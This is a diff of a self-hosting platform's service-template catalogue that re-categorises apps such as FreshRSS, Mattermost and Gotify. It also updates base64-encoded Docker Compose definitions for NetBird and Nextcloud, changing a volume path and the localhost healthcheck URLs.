@@ -1545,7 +1545,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1558,7 +1558,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1571,7 +1571,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1584,7 +1584,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1755,7 +1755,7 @@
             "interface",
             "rrss"
         ],
-        "category": "monitoring",
+        "category": "productivity",
         "logo": "svgs/glance.png",
         "minversion": "0.0.0",
         "port": "8080"
@@ -1839,7 +1839,7 @@
             "notification",
             "collaboration"
         ],
-        "category": "productivity",
+        "category": "messaging",
         "logo": "svgs/gotify.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1855,7 +1855,7 @@
             "api",
             "go-whatsapp"
         ],
-        "category": "cms",
+        "category": "messaging",
         "logo": "svgs/gowa.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -1960,7 +1960,7 @@
             "data-pipelines",
             "scheduling"
         ],
-        "category": null,
+        "category": "automation",
         "logo": "svgs/hatchet.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -2040,7 +2040,7 @@
             "home",
             "organize"
         ],
-        "category": "storage",
+        "category": "productivity",
         "logo": "svgs/homebox.svg",
         "minversion": "0.0.0",
         "port": "7745"
@@ -2141,7 +2141,7 @@
             "finance",
             "self-hosted"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/invoiceninja.png",
         "minversion": "0.0.0",
         "port": "9000"
@@ -2733,7 +2733,7 @@
             "slack",
             "alternative"
         ],
-        "category": "mattermost",
+        "category": "messaging",
         "logo": "svgs/mattermost.svg",
         "minversion": "0.0.0",
         "port": "8065"
@@ -2884,7 +2884,7 @@
             "self",
             "hosted"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/miniflux.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -3029,7 +3029,7 @@
     "netbird-client": {
         "documentation": "https://docs.netbird.io/how-to/examples#net-bird-client-in-docker?utm_source=coolify.io",
         "slogan": "Connect your devices into a secure WireGuard\u00ae-based overlay network with SSO, MFA and granular access controls.",
-        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi9ldGMvbmV0YmlyZCcKICAgIGNhcF9hZGQ6CiAgICAgIC0gTkVUX0FETUlOCiAgICAgIC0gU1lTX0FETUlOCiAgICAgIC0gU1lTX1JFU09VUkNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV0YmlyZAogICAgICAgIC0gdmVyc2lvbgogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi92YXIvbGliL25ldGJpcmQnCiAgICBjYXBfYWRkOgogICAgICAtIE5FVF9BRE1JTgogICAgICAtIFNZU19BRE1JTgogICAgICAtIFNZU19SRVNPVVJDRQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5ldGJpcmQKICAgICAgICAtIHZlcnNpb24KICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "wireguard",
             "mesh-networks",
@@ -3067,7 +3067,7 @@
             "zero-trust-network-access",
             "open source"
         ],
-        "category": null,
+        "category": "proxy",
         "logo": "svgs/pangolin-logo.png",
         "minversion": "0.0.0"
     },
@@ -3089,7 +3089,7 @@
     "nextcloud-with-mariadb": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gTVlTUUxfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLW1hcmlhZGItZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny40LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1yZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gTVlTUUxfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAvc3RhdHVzLnBocCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBuZXh0Y2xvdWQtZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtbWFyaWFkYi1kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01BUklBREJfREFUQUJBU0U6LW5leHRjbG91ZH0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjQtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLXJlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
         "tags": [
             "cloud",
             "collaboration",
@@ -3105,7 +3105,7 @@
     "nextcloud-with-mysql": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gTVlTUUxfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdteXNxbDo4LjQuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1teXNxbC1kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBteXNxbGFkbWluCiAgICAgICAgLSBwaW5nCiAgICAgICAgLSAnLWgnCiAgICAgICAgLSAxMjcuMC4wLjEKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjQtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLXJlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gTVlTUUxfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAvc3RhdHVzLnBocCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBuZXh0Y2xvdWQtZGI6CiAgICBpbWFnZTogJ215c3FsOjguNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLW15c3FsLWRhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LW5leHRjbG91ZH0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG15c3FsYWRtaW4KICAgICAgICAtIHBpbmcKICAgICAgICAtICctaCcKICAgICAgICAtIDEyNy4wLjAuMQogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuNC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtcmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=",
         "tags": [
             "cloud",
             "collaboration",
@@ -3121,7 +3121,7 @@
     "nextcloud-with-postgres": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbmV4dGNsb3VkfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbmV4dGNsb3VkfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny40LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1yZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL1BhcmlzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbmV4dGNsb3VkfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1uZXh0Y2xvdWQtZGIKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgbmV4dGNsb3VkLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAvc3RhdHVzLnBocCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBuZXh0Y2xvdWQtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1wb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uZXh0Y2xvdWR9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjQtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLXJlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
         "tags": [
             "cloud",
             "collaboration",
@@ -3137,7 +3137,7 @@
     "nextcloud": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL01hZHJpZH0nCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQo=",
